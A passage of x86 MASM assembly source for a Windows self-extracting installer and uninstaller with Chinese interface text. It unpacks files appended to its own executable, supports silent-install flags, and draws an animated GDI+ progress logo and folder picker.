431.352, 23.5, 433.791, 25.244, 436.392, 26.736, 439.129, 27.961, 441.975, 28.907, 444.901, 29.563, 447.878, 29.925 crossline real4 1024, 80.441, 943.559, 0, 512, 431.559, 80.441, 0, 0, 80.441, 431.559, 512, 0, 943.559, 80.441, 1024, 512, 592.441, 943.559, 1024, 1024, 943.559, 592.441, 512, 1024, 80.441 setupline real4 322, 200, 422, 200, 422, 232, 322, 232 r1 real4 1.0 r3 real4 3.0 width_10 real4 6.0 logo_c DotsChangeParam<7.0,5.0,0.78> close_c DotsChangeParam<10.0,-1.0,1.0> cross_c DotsChangeParam<454.0,8.0,0.012> factor_ratio real4 4.0 w_rect SRECT <0,0,480,360> g_rect real4 -1,-1,481,-1,481,361,-1,361,-1,-1 m_actived dd 0 m_percent real4 -0.0058 m_delta real4 0.003 m_processed real4 -1 m_moved dd 0 m_current dd 0 m_origin dd -1 m_active dd 0 m_left real4 0.0 m_top real4 0.0 m_arrow dd IDC_ARROW m_hand dd IDC_HAND m_cursor dd ? m_folder real4 0,0,0,0 isuninstall dd 0 m_pos POINT <0,0> close EFRONT_BUTTON<0,0,0,0,0> setup EFRONT_BUTTON<0,0,0,0,0> ground EFRONT_BUTTON<0,0,0,0,0> folder word MAX_PATH dup(?) buffer word MAX_PATH dup(?) buffer2 word MAX_PATH dup(?) program db "ProgramFiles",0 folderTitle db "选择安装目录",0 szErrOpenFile db '无法打开源文件!' szErrCreateFile db '创建文件失败!',0 hiddensetup dd 0 hiddenmark db "/s" hiddenmark1 db "/h" findmark db "*.*" folder_rect real4 20,320,440,21 hWinMain dd 0 bitmap dd 0 .data? logoline real4 14400 dup(?) shcore dd ? hInstance dd ? gptoken dd ? factorProc dd ? monitorProc dd ? filelist dd 24000 dup(?) filecount dd 0 datatotal dd 0 dataindex dd 0 datapassed dd 0 nametotal dd ? dataoffset dd ? nameoffset dd ? namecache dd MAX_PATH dup(?) datacache dd 36000 dup(?) datawrite dd 36000 dup(?) ; ; ; .code issetting proc local delta fld1 fsub m_percent fdiv m_delta fistp delta mov eax,delta shr eax,31 .if eax mov eax,0 .else fld m_processed fdiv m_delta fistp delta mov eax,delta shr eax,31 .if eax mov eax,0 .else mov eax,1 .endif .endif ret issetting endp setupstart proc local threadId invoke issetting .if eax ret .endif fld m_delta fstp m_processed; invoke CreateThread,NULL,0,\ offset _Extract,NULL,\ NULL,addr threadId invoke CloseHandle,eax ret setupstart endp opensetup proc local @hFile local filename[MAX_PATH]:WORD invoke GetModuleFileName ,0,addr filename, sizeof filename invoke CreateFile,addr filename,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 .if eax==INVALID_HANDLE_VALUE invoke MessageBox,hWinMain,addr szErrOpenFile,NULL,MB_OK or MB_ICONEXCLAMATION ret .endif mov @hFile,eax ret opensetup endp readcount proc h local buff[8]:byte,readed,b mov readed,0 invoke SetFilePointer,h,-8,NULL,FILE_END lea esi,buff invoke ReadFile,h,esi,sizeof buff,addr readed,0 mov ecx,readed .if isuninstall dec ecx .endif mov eax,0 mov ebx,0 mov edx,0 .while ecx>0 dec ecx mov al,BYTE ptr buff[ecx] push ecx mov b,eax and eax,01111111b mov cl,dl shl eax,cl pop ecx add ebx,eax mov eax,b shr eax,7 .break .if !eax add edx,7 .endw mov eax,ebx ret readcount endp atow proc srcstart,srcleng,dststart mov ecx,srcstart mov edx,ecx add edx,srcleng mov ebx,dststart mov eax,0 .while ecx<edx mov al,BYTE ptr[ecx] .if al=='/' mov WORD ptr[ebx],92 .else mov WORD ptr[ebx],ax .endif add ebx,2 inc ecx .endw .if eax mov WORD ptr[ebx],0 .endif ret atow endp copy proc srcstart,srcleng,dststart mov ecx,srcstart mov edx,ecx add edx,srcleng mov ebx,dststart mov eax,0 .while ecx<edx mov ah,BYTE ptr [ecx] inc ecx mov al,BYTE ptr [ecx] inc ecx mov WORD ptr[ebx],ax add ebx,2 .endw .if eax mov WORD ptr[ebx],0 .endif ret copy endp initnano proc invoke lstrcpy,addr namecache,addr folder invoke foldersize,addr folder add eax,offset namecache mov WORD ptr[eax],92 add eax,2 ret initnano endp writenano proc h,nametype,nameleng,isfolder,dataleng local namebuff,namereaded,hdst,fsize local namecode,databuff,datareaded mov eax,95555h invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,nameleng mov namebuff,eax mov eax,nameleng invoke SetFilePointer,h,nameoffset,NULL,FILE_END invoke ReadFile,h,namebuff,nameleng,addr namereaded,0 invoke initnano mov fsize,eax .if nametype==0 invoke atow,namebuff,nameleng,fsize .else invoke copy,namebuff,nameleng,fsize .endif .if isfolder .if isuninstall invoke RemoveDirectory,addr namecache .else invoke CreateDirectory,addr namecache,NULL .endif .else .if isuninstall invoke DeleteFile,addr namecache .else mov databuff,eax invoke CreateFile,addr namecache,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 .if eax==INVALID_HANDLE_VALUE ret .endif mov hdst,eax invoke decodePackW,h,dataoffset,dataleng,hdst,addr datapassed invoke CloseHandle,hdst .endif .endif invoke GlobalFree,namebuff invoke GlobalFree,namecode ret writenano endp processed proc count local current,total finit fild datatotal .if !isuninstall fiadd uninstallSize .endif fistp total fild dataindex fiadd datapassed fist current fidiv total fstp m_processed ret processed endp readindex proc h local count,buffname[MAX_PATH]:WORD, local buffstart,buff,list local buffleng,listleng,nameleng,dataleng,nametype,isfolder local readed local temp invoke readcount,h mov count,eax mov eax,-8 add eax,ecx sub eax,count mov buffstart,eax invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,count .if !eax invoke MessageBox,NULL,addr szErrOpenFile,addr szCaptionMain,MB_OK ret .endif mov buff,eax mov eax,count shl eax,3 invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,eax .if !eax invoke MessageBox,NULL,addr szErrOpenFile,addr szCaptionMain,MB_OK ret .endif mov list,eax invoke SetFilePointer,h,buffstart,NULL,FILE_END invoke ReadFile,h,buff,count,addr readed,0 mov eax,readed invoke decodeLEB128,buff,readed,list mov listleng,eax mov nametotal,0 mov datatotal,0 mov eax,10008h mov ecx,0 mov edx,listleng .while ecx<edx mov eax,list mov ebx,ecx shl ebx,2 add ebx,eax mov eax,DWORD ptr[ebx] mov nameleng,eax and eax,1 mov nametype,eax mov eax,nameleng shr eax,1 mov nameleng,eax add ebx,4 mov eax,DWORD ptr[ebx] .if eax==0 mov isfolder,1 mov dataleng,0 .else mov isfolder,0 dec eax mov dataleng,eax .endif mov eax,datatotal add eax,dataleng mov datatotal,eax mov eax,nametotal add eax,nameleng mov nametotal,eax mov ebx,ecx shl ebx,3 add ebx,offset filelist mov eax,nametype mov DWORD ptr[ebx],eax mov eax,nameleng mov DWORD ptr[ebx+4],eax mov eax,isfolder mov DWORD ptr[ebx+8],eax mov eax,dataleng mov DWORD ptr[ebx+12],eax add ecx,2 .endw shr edx,1 mov filecount,edx mov eax,buffstart sub eax,nametotal mov nameoffset,eax mov uninstallRest,eax sub eax,datatotal mov dataoffset,eax invoke SetFilePointer,h,dataoffset,NULL,FILE_END add eax,1 sub eax,uninstallRest mov uninstallSize,eax invoke GlobalFree,buff invoke GlobalFree,list ret readindex endp parseCommandLine proc invoke GetCommandLine local paramstart local param2start local inquote mov ecx,eax mov eax,0 mov inquote,0 mov paramstart,0 mov param2start,0 mov edx,ecx add edx,MAX_PATH add edx,10 .while ecx<edx mov ax,WORD ptr[ecx] .if eax==0 .break .endif .if eax==39 || eax==34 .if eax==inquote mov inquote,0 add ecx,2 .else mov inquote,eax .endif .endif .if !inquote mov ebx,ecx .if !paramstart .while eax==32 || eax==9 add ebx,2 mov ax,WORD ptr[ebx] mov paramstart,ebx .endw .elseif !param2start .while eax==32 || eax==9 add ebx,2 mov ax,WORD ptr[ebx] mov param2start,ebx .endw .endif .if ebx>ecx sub ebx,2 mov ecx,ebx .endif .endif add ecx,2 .endw .if paramstart && ecx>paramstart mov eax,paramstart mov ax,WORD ptr[eax] .if ax==47 mov hiddensetup,1 .if param2start invoke lstrcpy,offset buffer2,param2start .endif .elseif param2start invoke lstrcpy,offset buffer2,paramstart mov eax,paramstart mov ebx,param2start sub ebx,eax mov eax,offset buffer2 add eax,ebx sub eax,2 mov ebx,eax mov ax,WORD ptr[ebx] .while ax==32||ax==9 mov WORD ptr[ebx],0 sub ebx,2 mov ax,WORD ptr[ebx] .endw mov eax,param2start mov ax,WORD ptr[eax] .if ax==47 mov hiddensetup,1 .endif .else invoke lstrcpy,offset buffer2,paramstart .endif .endif ret parseCommandLine endp folderpath proc p,s,d local a mov eax,p mov ecx,0 mov edx,s mov a,0 .while ecx<edx mov ebx,eax add ebx,ecx mov bx,WORD ptr[ebx] and bx,0ffh .if ebx=='\'||ebx=='/' mov a,ecx .endif add ecx,2 .endw invoke lstrcpy,d,p lea eax,d add eax,a mov WORD ptr[eax],0 ret folderpath endp programinit proc local h local filename[MAX_PATH]:WORD invoke opensetup mov h,eax invoke readcount,h .if !eax invoke GetModuleFileName,0,addr filename,sizeof filename invoke foldersize,addr filename lea ebx,filename add eax,ebx .while WORD ptr[eax]!='\' && eax>ebx sub eax,2 .endw mov WORD ptr[eax],0 invoke lstrcpy,addr buffer2,addr filename; invoke lstrcpy,addr onekey1,addr onekey4 invoke lstrcpy,addr onekey2,addr onekey5 mov isuninstall,1 .else mov isuninstall,0 .endif invoke CloseHandle,h ret programinit endp _Extract proc lParam local h,e,nametype,nameleng,isfolder,dataleng local flash:FLASHWINFO local delta local writed local hdata,readed,hdst mov writed,0 invoke opensetup mov h,eax invoke readindex,h .if isuninstall mov ecx,filecount shl ecx,4 mov edx,0 mov delta,3 fld m_delta fimul delta fstp m_delta mov eax,nameoffset add eax,nametotal mov nameoffset,eax .else mov ecx,0 mov delta,16 mov edx,filecount shl edx,4 .endif .while ecx!=edx mov eax,10000h .if isuninstall sub ecx,16 .endif mov ebx,DWORD ptr[ecx+offset filelist] mov nametype,ebx mov ebx,DWORD ptr[ecx+offset filelist+4] mov nameleng,ebx mov ebx,DWORD ptr[ecx+offset filelist+8] mov isfolder,ebx mov ebx,DWORD ptr[ecx+offset filelist+12] mov dataleng,ebx .if !isuninstall add ecx,16 .endif push ecx push edx shr ecx,4 invoke processed,ecx .if isuninstall mov eax,nameoffset sub eax,nameleng mov nameoffset,eax .endif invoke writenano,h,nametype,nameleng,isfolder,dataleng .if !isuninstall mov eax,nameoffset add eax,nameleng mov nameoffset,eax mov eax,dataoffset add eax,dataleng mov dataoffset,eax mov eax,dataindex add eax,dataleng mov dataindex,eax .endif pop edx pop ecx .endw .if !isuninstall && uninstallSize invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,uninstallSize mov hdata,eax invoke SetFilePointer,h,0,NULL,FILE_BEGIN mov ecx,uninstallSize sub ecx,1 add ecx,uninstallRest invoke ReadFile,h,hdata,ecx,addr readed,0 invoke SetFilePointer,h,uninstallRest,NULL,FILE_END mov ecx,0 sub ecx,uninstallRest mov ebx,hdata add ebx,uninstallSize add ebx,uninstallRest dec ebx invoke ReadFile,h,ebx,ecx,addr readed,0 mov ecx,uninstallSize dec ecx add ecx,hdata mov BYTE ptr[ecx],0 invoke initnano invoke lstrcpy,eax,addr uninstallName invoke CreateFile,addr namecache,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 mov hdst,eax invoke WriteFile,hdst,hdata,uninstallSize,addr writed,NULL mov uninstallSize,0 invoke processed,0 invoke GlobalFree,hdata invoke CloseHandle,hdst .endif invoke CloseHandle,h invoke ShellExecute,NULL,addr shellOperator,addr assocname,NULL,addr folder,SW_HIDE .if hWinMain mov flash.cbSize,sizeof flash mov eax,hWinMain mov flash.hwnd,eax mov flash.dwFlags,FLASHW_TIMERNOFG mov flash.uCount,1 mov flash.dwTimeout,0 invoke FlashWindowEx,addr flash .endif fld1 fstp m_processed ret _Extract endp foldersize proc f mov ebx, f mov ecx,0 .while TRUE mov ax,WORD ptr[ebx] .break .if ecx>MAX_PATH .if ax==0 mov eax,ecx shl eax,1 .break .endif add ebx,2 inc ecx .endw ret foldersize endp folderfind proc mark local finded:WIN32_FIND_DATA,temppath[MAX_PATH]:WORD local h,s invoke lstrcpy,addr temppath,offset buffer invoke lstrcat,addr temppath,mark invoke FindFirstFile,addr temppath,addr finded .if eax!=INVALID_HANDLE_VALUE .if finded.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY mov h,eax mov s,0 .repeat mov eax,s add eax,1 mov s,eax invoke FindNextFile,h,addr finded .until (eax==FALSE||s>2) invoke FindClose,eax .if s>2 mov eax,1 .else mov eax,0 .endif .else mov eax,1 .endif .else mov eax,0 .endif ret folderfind endp folderinit proc local bufferat invoke lstrcpy,offset buffer,offset buffer2 invoke foldersize,offset buffer add eax,offset buffer mov ebx,eax .if WORD ptr [ebx-2]!="\" mov WORD ptr [ebx],"\" add ebx,2 mov WORD ptr [ebx],0 .endif mov bufferat,ebx invoke folderfind,addr findmark .if eax invoke folderfind,addr assocname mov ebx,bufferat .if !eax mov ecx,offset szText mov ax,WORD ptr [ecx] mov WORD ptr [ebx],ax mov ax,WORD ptr [ecx+2] mov WORD ptr [ebx+2],ax mov WORD ptr [ebx+4],0 add ebx,4 .endif mov bufferat,ebx .endif .if WORD ptr[ebx-2]=="\" mov ebx,bufferat mov WORD ptr[ebx-2],0 .endif invoke lstrcpy,offset folder,offset buffer ret folderinit endp choosingfn proc hWnd,uMsg,lParam,lpData local pszPath[MAX_PATH] :WORD mov eax,uMsg .if eax==BFFM_INITIALIZED invoke SendMessage,hWnd,BFFM_SETSELECTION,TRUE,addr folder .elseif eax==BFFM_SELCHANGED ; ret invoke SHGetPathFromIDList,lParam,addr buffer2 invoke SendMessage,hWnd,BFFM_SETSTATUSTEXT,0,addr pszPath .endif mov eax,0 ret choosingfn endp choosedist proc,hWnd local info:BROWSEINFO,image,locat ; invoke foldersize ; invoke SHGetFolderLocation,hWinMain,offset folder,eax ,addr locat,MAX_PATH ; mov locat,eax mov eax,hWnd mov info.hwndOwner,eax mov info.pidlRoot,NULL mov info.pszDisplayName,offset buffer mov info.lpszTitle,offset folderTitle mov info.lpfn,choosingfn mov info.ulFlags,BIF_EDITBOX or BIF_NEWDIALOGSTYLE or BIF_RETURNONLYFSDIRS or BIF_STATUSTEXT mov info.iImage,0 mov info.lParam,0 mov info.ulFlags,0 invoke SHBrowseForFolder,addr info ret choosedist endp brizer_t proc _a,_b,_c,_d,_t local sum local t1,t2,t3,s1,s2,s3 fld _t fst t1 fmul _t fst t2 fmul _t fstp t3 fld1 fsub _t fst s1 fmul s1 fst s2 fmul s1 fstp s3 fld _a fmul s3 fld _b fmul r3 fmul t1 fmul s2 fadd fld _c fmul r3 fmul t2 fmul s1 fadd fld _d fmul t3 fadd fstp sum mov eax,sum ret brizer_t endp brizer proc x1,y1,x2,y2,x3,y3,x4,y4,b local count,total,linesize,d local t:REAL4 mov eax,b xor edx,edx mov ebx,24 div ebx mov count,eax mov eax,sizeof logodots div ebx xor edx,edx mov total,eax mov eax,sizeof logoline mov ebx,total div ebx xor edx,edx mov linesize,eax mov ebx,count mul ebx mov ebx,eax add ebx,offset logoline mov ecx,0 mov eax,0 .while ecx<linesize mov d,ecx finit fild d fidiv linesize fstp t .if eax==0 invoke brizer_t,x1,x2,x3,x4,t mov REAL4 ptr[ebx],eax mov eax,1 .elseif invoke brizer_t,y1,y2,y3,y4,t mov REAL4 ptr[ebx],eax mov eax,0 .endif add ebx,4 add ecx,4 .endw ret brizer endp _DrawText proc @gp,color,textoffset,fSize,rect,fFamily,rectref local font,format,brush,family,sz,x,y,r,textlength fild fSize fstp sz invoke GdipCreateFontFamilyFromName,fFamily,NULL,addr family invoke GdipCreateFont, family,sz,0,0,addr font invoke GdipCreateStringFormat, 00007400h,0,addr format invoke GdipSetStringFormatTrimming,format,5 invoke GdipCreateSolidFill,color,addr brush invoke foldersize,textoffset shr eax,1 mov textlength,eax .if rectref invoke GdipMeasureString,@gp,textoffset,textlength,font,rect,format,rectref,addr x,addr y .endif invoke GdipDrawString,@gp,textoffset,textlength,font,rect,format,brush invoke GdipDeleteFontFamily,family invoke GdipDeleteFont,font invoke GdipDeleteBrush,brush invoke GdipDeleteStringFormat,format ret _DrawText endp _DrawButton proc gp,b:EFRONT_BUTTON,fillcolor,bordercolor,outline,outcolor local pen,brush .if b.back!=0 invoke GdipCreateSolidFill,fillcolor,addr brush invoke GdipFillPath,gp,brush,b.back invoke GdipDeleteBrush,brush .endif .if b.text!=0 invoke _DrawText,gp,bordercolor,b.text,b.clip,b.rect,offset fontFamili,0 .elseif b.clip!=0 invoke GdipCreateSolidFill,bordercolor,addr brush invoke GdipFillPath,gp,brush,b.clip invoke GdipDeleteBrush,brush .endif .if outline!=0 invoke GdipCreatePen1,outcolor,outline,0,addr pen invoke GdipDrawPath,gp,pen,b.back invoke GdipDeletePen,pen .endif ret _DrawButton endp _CreatePath proc doffset,dlen local path,dend mov eax,dlen add eax,7 shr eax,3 mov dend,eax invoke GdipCreatePath,0,addr path invoke GdipAddPathPolygon,path,doffset,dend invoke GdipSetPathFillMode,path,1 mov eax,path ret _CreatePath endp _ChangeLine proc @index:DWORD,@leng:DWORD,@c:DotsChangeParam local x,y,r local endl,@factor:REAL4 fld1 fstp @factor mov eax,@index add eax,@leng mov endl,eax fld @c.x fmul @factor fstp x fld @c.y fmul @factor fstp y fld @c.r fmul @factor fstp r mov ebx,@index mov eax,0 .while ebx <endl finit fld REAL4 ptr[ebx] fmul r .if eax==0 mov eax,1 fadd x .elseif fadd y mov eax,0 .endif fstp REAL4 ptr[ebx] add ebx,4 .endw ret _ChangeLine endp _Brizerline proc local enddots mov ebx,offset logodots mov ecx,0 .while ecx<sizeof logodots push ebx push ecx invoke brizer,REAL4 ptr[ebx],REAL4 ptr[ebx+4],\ REAL4 ptr[ebx+8],REAL4 ptr[ebx+12],\ REAL4 ptr[ebx+16],REAL4 ptr[ebx+20],\ REAL4 ptr[ebx+24],REAL4 ptr[ebx+28],ecx pop ecx pop ebx add ebx,24 add ecx,24 .endw ret _Brizerline endp drawtitle proc @gp invoke _DrawText,@gp,0ff629436h,offset szText,42,offset titlerect,offset fontFamily,0 ret drawtitle endp drawlogo proc @gp local count,percented,pen mov count,sizeof logoline fild count fmul m_percent fistp percented .if isuninstall invoke GdipCreatePen1,0ff336600h,width_10,0,addr pen .else invoke GdipCreatePen1,0ffd4d6d6h,width_10,0,addr pen .endif mov eax,percented shr eax,31 .if eax invoke GdipResetPath,ground.clip mov ecx,sizeof logoline shr ecx,3 add eax,offset logoline invoke GdipAddPathLine2,ground.clip,eax,ecx invoke GdipDrawPath,@gp,pen,ground.clip ret .endif .if percented>sizeof logoline mov percented,sizeof logoline .endif .if isuninstall mov eax,sizeof logoline sub eax,percented .else mov eax,percented .endif shr eax,3 mov percented,eax invoke GdipSetPenColor,pen,0ffd4d6d6h invoke GdipResetPath,ground.clip mov eax,percented shl eax,3 add eax,offset logoline mov ebx,sizeof logoline shr ebx,3 sub ebx,percented invoke GdipAddPathLine2,ground.clip,eax,ebx invoke GdipDrawPath,@gp,pen,ground.clip invoke GdipSetPenColor,pen,0ff336600h invoke GdipResetPath,ground.clip invoke GdipAddPathLine2,ground.clip,offset logoline,percented invoke GdipDrawPath,@gp,pen,ground.clip invoke GdipDeletePen,pen ret drawlogo endp drawclose proc @gp .if m_current==offset close .if m_actived invoke _DrawButton,@gp,close,0ff882200h,0ffffffffh,0,0 .else invoke _DrawButton,@gp,close,0ffcc4400h,0ffffffffh,0,0 .endif .else invoke _DrawButton,@gp,close,0ff323634h,0ff336622h,1,0ff666666h .endif ret drawclose endp drawsetup proc @gp .if m_current==offset setup .if m_actived||(setup.text==offset onekey2) invoke _DrawButton,@gp,setup,0ff325614h,0ff629436h,2,0ff629436h .else invoke _DrawButton,@gp,setup,0ff327624h,0ffd2f4c6h,2,0ff629436h .endif .else invoke _DrawButton,@gp,setup,0ff426426h,0ffc2e496h,2,0ff629436h .endif ret drawsetup endp drawsleep proc @gp local color .if m_current==offset folder .if m_actived mov color,0ff922416h .else mov color,0ffc24436h .endif .else mov color,0ff629436h .endif invoke _DrawText,@gp,color,offset folder,16,offset folder_rect,offset fontFamili,offset m_folder ret drawsleep endp drawfolder proc @gp local tback:EFRONT_BUTTON,path,left,top,right,bottom mov eax,offset m_folder fld REAL4 ptr[eax+12] fistp bottom .if bottom!=0 fld REAL4 ptr[eax] fstp left fld REAL4 ptr[eax+4] fstp top fld REAL4 ptr[eax+8] fadd left fstp right fld REAL4 ptr[eax+12] fadd top fstp bottom invoke GdipCreatePath,0,addr path invoke GdipAddPathLine,path,left,top,right,top invoke GdipAddPathLine,path,right,top,right,bottom invoke GdipAddPathLine,path,right,bottom,left,bottom invoke GdipAddPathLine,path,left,bottom,left,top mov eax,path mov tback.back,eax mov tback.clip,0 mov tback.text,0 invoke _DrawButton,@gp,tback,0fff2f6f4h,0,0,0 invoke GdipDeletePath,path invoke drawlogo,@gp .endif invoke drawsleep,@gp ret drawfolder endp isinfolder proc local temp mov ebx,offset m_folder fld REAL4 ptr[ebx] fsub m_left fstp temp mov eax,temp shr eax,31 .if eax==0 ret .endif fld REAL4 ptr [ebx+4] fsub m_top fstp temp mov eax,temp shr eax,31 .if eax==0 ret .endif fld REAL4 ptr[ebx] fadd REAL4 ptr[ebx+8] fsub m_left fstp temp mov eax,temp shr eax,31 .if eax==1 mov eax,0 ret .endif fld REAL4 ptr[ebx+4] fadd REAL4 ptr[ebx+12] fsub m_top fstp temp mov eax,temp shr eax,31 .if eax==1 mov eax,0 ret .endif mov eax,1 ret isinfolder endp _CreateShapes proc @gp invoke _CreatePath,addr crossline,sizeof crossline mov close.clip,eax invoke _CreatePath,addr closeline,sizeof closeline mov close.back,eax invoke _CreatePath,addr setupline,sizeof setupline mov setup.back,eax mov setup.text,offset onekey1 mov setup.clip,16 mov setup.rect,offset onekey_rect invoke _CreatePath,addr logoline,sizeof logoline mov ground.clip,eax invoke _CreatePath,addr g_rect,sizeof g_rect mov ground.back,eax invoke _DrawButton,@gp,ground,0ff323634h,0fff2f6f4h,0,0 invoke drawlogo,@gp invoke drawclose,@gp invoke drawsetup,@gp invoke drawtitle,@gp invoke drawsleep,@gp ret _CreateShapes endp _DeleteShapes proc invoke GdipDeletePath,close.clip invoke GdipDeletePath,close.back invoke GdipDeletePath,setup.back invoke GdipDeletePath,ground.clip invoke GdipDeletePath,ground.back ret _DeleteShapes endp _SetCursor proc local temp fld m_processed fchs fdiv m_delta fistp temp mov eax,temp shr eax,31 .if eax ret .endif mov eax,m_cursor .if m_current==offset folder .if eax!=m_hand mov eax,m_hand mov m_cursor,eax invoke SetCursor,eax .endif .else .if (eax!=m_arrow) mov eax,m_arrow mov m_cursor,eax invoke SetCursor,eax .endif .endif ret _SetCursor endp _UpdateCursor proc hWnd local r:RECT; local x,y local p:POINT invoke GetCursorPos,addr p invoke GetWindowRect,hWnd,addr r mov eax,p.x sub eax,r.left mov x,eax mov eax,p.y sub eax,r.top mov y,eax fild x fmul factor_ratio fidiv factor fstp m_left fild y fmul factor_ratio fidiv factor fstp m_top ret _UpdateCursor endp _Frame proc hWnd local @gp,@hDc,dc local @hGdi local ratio :REAL4 local delta local matrix local isIn invoke GetDC,hWnd; mov dc,eax invoke CreateCompatibleDC,dc mov @hDc,eax .if bitmap==0 invoke CreateCompatibleBitmap,dc,w_rect.w,w_rect.h mov bitmap,eax invoke BitBlt,@hDc,0,0,w_rect.w,w_rect.h,dc,0,0,SRCCOPY .endif invoke SelectObject,@hDc,bitmap ; mov eax,dc finit fild factor fdiv factor_ratio fstp ratio invoke GdipCreateFromHDC,@hDc,addr @gp invoke GdipSetTextRenderingHint,@gp,3 invoke GdipSetSmoothingMode,@gp,4 invoke GdipCreateMatrix,addr matrix invoke GdipScaleMatrix,matrix,ratio,ratio,1 invoke GdipSetWorldTransform,@gp,matrix invoke GdipDeleteMatrix,matrix .if close.clip==0 invoke _CreateShapes,@gp jmp @F .endif finit fld m_processed fsub m_percent fdiv m_delta fistp delta mov eax,delta shr eax,31 .if eax==0 fld m_percent fadd m_delta fstp m_percent invoke drawlogo,@gp fld m_percent mov delta,100 fimul delta fistp delta mov eax,delta .if eax>23 .if eax>=100 mov setup.text,offset onekey3 .else xor edx,edx mov bx,10 div bx mov ebx,offset onekey2 add ax,'0' add dx,'0' mov WORD ptr[ebx], 12288 mov WORD ptr[ebx+2], 32 mov WORD ptr[ebx+4],ax mov WORD ptr[ebx+6],dx mov WORD ptr[ebx+8],"%" invoke drawsetup,@gp .endif .endif .endif call issetting .if eax jmp @F .endif invoke _UpdateCursor,hWnd invoke GdipIsVisiblePathPoint,close.back,m_left,m_top,@gp,addr isIn .if isIn mov m_current,offset close .else invoke GdipIsVisiblePathPoint,setup.back,m_left,m_top,@gp,addr isIn .if isIn mov m_current,offset setup .else mov m_current,0 invoke isinfolder .if eax mov m_current,offset folder .endif .endif .endif invoke _SetCursor mov eax,m_current mov ebx,m_actived .if eax!=m_origin .elseif ebx!=m_active .else jmp @F .endif .if (m_origin==offset close)||(m_current==offset close) invoke drawclose,@gp .endif .if (m_origin==offset setup)||(m_current==offset setup) invoke drawsetup,@gp .endif .if (m_origin==offset folder)||(m_current==offset folder) invoke drawsleep,@gp .endif mov eax,m_current mov ebx,m_actived mov m_origin,eax mov m_active,ebx @@: invoke lstrcmp,offset buffer,offset folder .if eax invoke folderinit invoke drawfolder,@gp .endif invoke GdipReleaseDC,@gp,@hDc invoke GdipDeleteGraphics,@gp invoke BitBlt,dc,0,0,w_rect.w,w_rect.h,@hDc,0,0,SRCCOPY invoke ReleaseDC,hWnd,dc invoke DeleteDC,@hDc ret _Frame endp ; ; ; _LeftMove proc hWnd local p:POINT,tmp invoke GetCursorPos,addr p .if m_moved!=1 finit fild p.x fisub m_pos.x fst tmp fmul tmp fild p.y fsub m_pos.y fst tmp fmul tmp fadd fistp tmp mov eax,factor .if tmp>=eax mov m_moved,1 .else ret .endif .endif mov eax,p.x sub eax,m_pos.x add eax,w_rect.x mov w_rect.x,eax mov eax,p.y sub eax,m_pos.y add eax,w_rect.y mov w_rect.y,eax invoke MoveWindow,hWnd,w_rect.x,w_rect.y,w_rect.w,w_rect.h,FALSE mov eax,p.x mov m_pos.x,eax mov eax,p.y mov m_pos.y,eax ret _LeftMove endp _LeftDown proc hWnd local r:RECT invoke GetCursorPos,addr m_pos invoke GetWindowRect,hWnd,addr r mov eax,r.left mov w_rect.x,eax mov eax,r.top mov w_rect.y,eax mov m_actived,TRUE mov m_moved,FALSE ret _LeftDown endp _MouseMove proc hWnd .if m_actived invoke _LeftMove,hWnd ret .endif invoke _UpdateCursor,hWnd ret _MouseMove endp _LeftUp proc hWnd .if m_moved mov m_actived,0 ret .endif mov m_moved,0 mov m_active,0 invoke issetting .if eax .elseif m_current==offset close invoke SendMessage,hWnd,WM_CLOSE,NULL,NULL .elseif m_current==offset setup .if setup.text==offset onekey1 mov setup.text,offset onekey2 invoke _Frame,hWnd invoke setupstart .else invoke SendMessage,hWnd,WM_CLOSE,NULL,NULL .endif .elseif m_current==offset folder invoke choosedist,hWnd .endif mov m_actived,0 ret _LeftUp endp _InitFactor proc local info :MONITORINFO local p:POINT,tmp,m invoke GetCursorPos,addr p invoke MonitorFromPoint,p.x,p.y,MONITOR_DEFAULTTOPRIMARY mov m,eax .if m==0 ret .endif mov info.cbSize,sizeof info invoke GetMonitorInfo,m,addr info mov eax, info.rcMonitor.left mov ebx, info.rcMonitor.top mov eax,w_rect.w mov ebx,w_rect.h mov ecx,info.rcWork.right add ecx,info.rcWork.left sub ecx,eax mov edx,info.rcWork.bottom add edx,info.rcWork.top sub edx,ebx shr ecx,1 shr edx,1 mov w_rect.x,ecx mov w_rect.y,edx ret _InitFactor endp _SetFactor proc local desktop,w,h,w1,h1 invoke GetSystemMetrics,SM_CXSCREEN mov w,eax invoke GetSystemMetrics,SM_CYSCREEN mov h,eax invoke LoadLibrary,offset shcoreName mov shcore,eax invoke GetProcAddress,eax,offset dpiProcName .if eax != 0 push DWORD ptr 1 ;切换分辨率自动缩放 ; push DWORD ptr 2 ;切换分辨率手动缩放 call eax .endif invoke GetSystemMetrics,SM_CXSCREEN mov w1,eax invoke GetSystemMetrics,SM_CYSCREEN mov h1,eax mov eax,w_rect.w mov ebx,w1 mul ebx mov ebx,w div ebx mov w_rect.w,eax mov eax,w_rect.h mov ebx,h1 mul ebx mov ebx,h div ebx mov w_rect.h,eax mov eax,w1 shl eax,2 mov ebx,w xor edx,edx div ebx mov factor,eax call _InitFactor ret _SetFactor endp _ProcWinMain proc uses ebx edi esi,hWnd,uMsg,wParam,lParam local @stPs:PAINTSTRUCT mov eax,uMsg .if eax==WM_CREATE invoke SetTimer,hWnd,1,17,NULL invoke GetWindowLong,hWnd,GWL_EXSTYLE invoke SetWindowLong,hWnd,GWL_EXSTYLE,eax invoke SetLayeredWindowAttributes,hWnd,0,255,2 .elseif eax==WM_LBUTTONDOWN invoke _LeftDown,hWnd invoke SetCapture,hWnd .elseif eax==WM_LBUTTONUP invoke _LeftUp,hWnd .elseif eax==WM_MOUSELEAVE invoke _MouseMove,hWnd .elseif eax==WM_MOUSEMOVE invoke _MouseMove,hWnd ; .elseif eax==WM_DPICHANGED_BEFOREPARENT ; invoke _SetFactor ; invoke SetWindowPos,hWnd,NULL,w_rect.x,w_rect.y,w_rect.w,w_rect.h,SWP_NOMOVE ; .elseif eax==WM_DPICHANGED ; invoke _SetFactor ; invoke 